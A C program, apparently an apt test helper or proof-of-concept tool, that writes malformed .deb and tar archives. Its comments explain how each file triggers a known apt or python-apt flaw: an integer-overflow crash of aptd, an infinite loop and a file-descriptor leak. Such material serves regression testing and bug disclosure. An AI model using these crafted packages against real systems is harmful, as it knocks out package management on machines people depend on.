#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

struct Header
{
   char Name[16];
   char MTime[12];
   char UID[6];
   char GID[6];
   char Mode[8];
   char Size[10];
   char Magic[2];
};

struct TarHeader
{
   char Name[100];
   char Mode[8];
   char UserID[8];
   char GroupID[8];
   char Size[12];
   char MTime[12];
   char Checksum[8];
   char LinkFlag;
   char LinkName[100];
   char MagicNumber[8];
   char UserName[32];
   char GroupName[32];
   char Major[8];
   char Minor[8];
};

// Call `write` and check the result.
static void write_chk(int fd, const void *buf, size_t count)
{
   const ssize_t wr = write(fd, buf, count);
   if (wr < 0)
   {
      const int err = errno;
      fprintf(stderr, "Write failed: %s\n", strerror(err));
      exit(EXIT_FAILURE);
   }
   if ((size_t)wr != count)
   {
      fprintf(stderr, "Incomplete write.\n");
      exit(EXIT_FAILURE);
   }
}

// Triggers a negative integer overflow at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/arfile.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n116:
//
//    Memb->Size -= Len;
//
// Due to the integer overflow, the value of Memb->Size is 0xFFFFFFFFFFFFFFFF.
// This leads to an out-of-memory error at https://git.launchpad.net/ubuntu/+source/python-apt/tree/python/arfile.cc?h=applied/ubuntu/focal-updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n602:
//
//    char* value = new char[member->Size];
//
// The out-of-memory error causes aptd to crash.
static void createdeb_crash(const int fd)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;
   memset(&h, 0, sizeof(h));

   memcpy(h.Name, "control.tar     ", sizeof(h.Name));
   write_chk(fd, &h, sizeof(h));

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
   write_chk(fd, &h, sizeof(h));

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "#1/13           ", sizeof(h.Name));
   strcpy(h.Size, "12");
   write_chk(fd, &h, sizeof(h));
   write_chk(fd, "debian-binary", 13);
}

// Triggers an infinite loop in `ARArchive::LoadHeaders()`.
// The bug is due to the use of `strtoul` at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/strutl.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n1169:
//
//    Res = strtoul(S,&End,Base);
//
// The problem is that `strtoul` accepts negative numbers. We exploit that here by setting the size string to "-60".
static void createdeb_loop(const int fd)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;
   memset(&h, 0, sizeof(h));

   memcpy(h.Name, "#1/20           ", sizeof(h.Name));
   strcpy(h.Size, "-60");
   write_chk(fd, &h, sizeof(h));

   char buf[20];
   memset(buf, 0, sizeof(buf));
   write_chk(fd, buf, sizeof(buf));
}

// Leaks a file descriptor in `debfile_new()`:
//
// https://git.launchpad.net/python-apt/tree/python/arfile.cc?h=2.0.0#n588
//
// If the .deb file is invalid then the function returns without deleting
// `self`, which means that the file descriptor isn't closed.
static void createdeb_leakfd(const int fd)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;
   memset(&h, 0, sizeof(h));

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
   write_chk(fd, &h, sizeof(h));
}

static void set_checksum(unsigned char block[512])
{
   struct TarHeader *tar = (struct TarHeader *)&block[0];
   memset(tar->Checksum, ' ', sizeof(tar->Checksum));
   uint32_t sum = 0;
   for (int i = 0; i < 512; i++)
   {
      sum += block[i];
   }
   snprintf(tar->Checksum, sizeof(tar->Checksum), "%o", sum);
}
static void base256_encode(char *Str, unsigned long long Num, unsigned int Len)
{
   Str += Len;
   while (Len-- > 0) {
      *--Str = static_cast<char>(Num & 0xff);
      Num >>= 8;
   }

  *Str |= 0x80; // mark as base256
}

// Create a deb with a control.tar that contains a too large file or link name (GNU extension)
static void createdeb_bigtarfilelength(const int fd, int flag, unsigned long long size = 64llu * 1024 * 1024 + 1)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;
   memset(&h, ' ', sizeof(h));
   memcpy(h.Name, "debian-binary/     ", sizeof(h.Name));
   h.MTime[0] = '0';
   h.UID[0] = '0';
   h.GID[0] = '0';
   memcpy(h.Mode, "644", 3);
   h.Size[0] = '0';
   memcpy(h.Magic, "`\n", 2);

   write_chk(fd, &h, sizeof(h));

   memset(&h, ' ', sizeof(h));
   memcpy(h.Name, "data.tar/       ", sizeof(h.Name));
   h.MTime[0] = '0';
   h.UID[0] = '0';
   h.GID[0] = '0';
   memcpy(h.Mode, "644", 3);
   h.Size[0] = '0';
   memcpy(h.Magic, "`\n", 2);

   write_chk(fd, &h, sizeof(h));

   memset(&h, ' ', sizeof(h));
   memcpy(h.Name, "control.tar/       ", sizeof(h.Name));
   h.MTime[0] = '0';
   h.UID[0] = '0';
   h.GID[0] = '0';
   memcpy(h.Mode, "644", 3);
   memcpy(h.Size, "512", 3);
   memcpy(h.Magic, "`\n", 2);

   write_chk(fd, &h, sizeof(h));
   union
   {
      struct TarHeader t;
      unsigned char buf[512];
   } t;
   for (unsigned int i = 0; i < sizeof(t.buf); i++)
      t.buf[i] = '7';
   memcpy(t.t.Name, "control\0        ", 16);
   memcpy(t.t.UserName, "userName", 8);
   memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32);
   memcpy(t.t.UserID, "0", 2);
   memcpy(t.t.GroupID, "0", 2);
   memcpy(t.t.MTime, "0", 2);
   memcpy(t.t.MagicNumber, "0", 2);
   memcpy(t.t.Major, "0", 2);
   memcpy(t.t.Minor, "0", 2);
   t.t.LinkFlag = flag;
   base256_encode(t.t.Size, size, sizeof(t.t.Size));
   memset(t.t.Checksum, ' ', sizeof(t.t.Checksum));

   unsigned long sum = 0;
   for (unsigned int i = 0; i < sizeof(t.buf); i++)
      sum += t.buf[i];

   int written = sprintf(t.t.Checksum, "%lo", sum);
   for (unsigned int i = written; i < sizeof(t.t.Checksum); i++)
      t.t.Checksum[i] = ' ';

   write_chk(fd, t.buf, sizeof(t.buf));
}

static void createtar(const int fd)
{
   union
   {
      struct TarHeader t;
      char buf[512];
   } t;
   for (size_t i = 0; i < sizeof(t.buf); i++)
      t.buf[i] = '7';
   memcpy(t.t.Name, "unterminatedName", 16);
   memcpy(t.t.UserName, "userName", 8);
   memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32);
   memcpy(t.t.UserID, "0", 2);
   memcpy(t.t.GroupID, "0", 2);
   memcpy(t.t.MTime, "0", 2);
   memcpy(t.t.MagicNumber, "0", 2);
   memcpy(t.t.Major, "0", 2);
   memcpy(t.t.Minor, "0", 2);
   t.t.LinkFlag = 'X'; // I AM BROKEN
   memcpy(t.t.Size, "000000000000", sizeof(t.t.Size));
   memset(t.t.Checksum, ' ', sizeof(t.t.Checksum));

   unsigned long sum = 0;
   for (size_t i = 0; i < sizeof(t.buf); i++)
      sum += t.buf[i];

   int written = sprintf(t.t.Checksum, "%lo", sum);
   for (size_t i = written; i < sizeof(t.t.Checksum); i++)
      t.t.Checksum[i] = ' ';
   write_chk(fd, t.buf, sizeof(t.buf));
}

static void createdeb_test(const int fd)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
   write_chk(fd, &h, sizeof(h));

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "debian-binary   ", sizeof(h.Name));
   strcpy(h.Size, "4");
   write_chk(fd, &h, sizeof(h));
   static const char *debian_binary = "2.0\n";
   write_chk(fd, debian_binary, strlen(debian_binary));

   static const char *control =
      "Architecture: all\n"
      "Package: kevsh\n\n";
   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "control.tar     ", sizeof(h.Name));
   snprintf(h.Size, sizeof(h.Size), "%ld", (size_t)512 + 512);
   write_chk(fd, &h, sizeof(h));

   unsigned char block[512];
   memset(block, 0, sizeof(block));
   struct TarHeader *tar = (struct TarHeader *)&block[0];
   strcpy(tar->Name, "control");
   strcpy(tar->Mode, "644");
   snprintf(tar->Size, sizeof(tar->Size), "%lo", strlen(control));
   set_checksum(block);
   write_chk(fd, block, sizeof(block));

   memset(block, 0, sizeof(block));
   strcpy((char *)block, control);
   write_chk(fd, block, sizeof(block));
}

int main(int argc, char *argv[])
{
   if (argc != 3)
   {
      const char *progname = argc > 0 ? argv[0] : "a.out";
      fprintf(
	 stderr,
	 "usage: %s <mode> <filename>\n"
	 "modes: loop, segv, leakfd\n",
	 progname);
      return EXIT_FAILURE;
   }

   const char *mode = argv[1];
   const char *filename = argv[2];

   const int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 00644);
   if (fd < 0)
   {
      const int err = errno;
      fprintf(stderr, "Could not open %s: %s\n", filename, strerror(err));
      return EXIT_FAILURE;
   }

   if (strcmp(mode, "crash") == 0)
   {
      createdeb_crash(fd);
   }
   else if (strcmp(mode, "loop") == 0)
   {
      createdeb_loop(fd);
   }
   else if (strcmp(mode, "leakfd") == 0)
   {
      createdeb_leakfd(fd);
   }
   else if (strcmp(mode, "long-name") == 0)
   {
      createdeb_bigtarfilelength(fd, 'L');
   }
   else if (strcmp(mode, "long-link") == 0)
   {
      createdeb_bigtarfilelength(fd, 'K');
   }
   else if (strcmp(mode, "long-control") == 0)
   {
      createdeb_bigtarfilelength(fd, '0');
   }
   else if (strcmp(mode, "too-long-control") == 0)
   {
      createdeb_bigtarfilelength(fd, '0', 128llu * 1024 * 1024 * 1024 + 1);
   }
   else if (strcmp(mode, "github-111") == 0)
   {
      createtar(fd);
   }
   else if (strcmp(mode, "test") == 0)
   {
      createdeb_test(fd);
   }
   else
   {
      fprintf(stderr, "Mode not recognized: %s\n", mode);
   }

   close(fd);
   return EXIT_SUCCESS;
}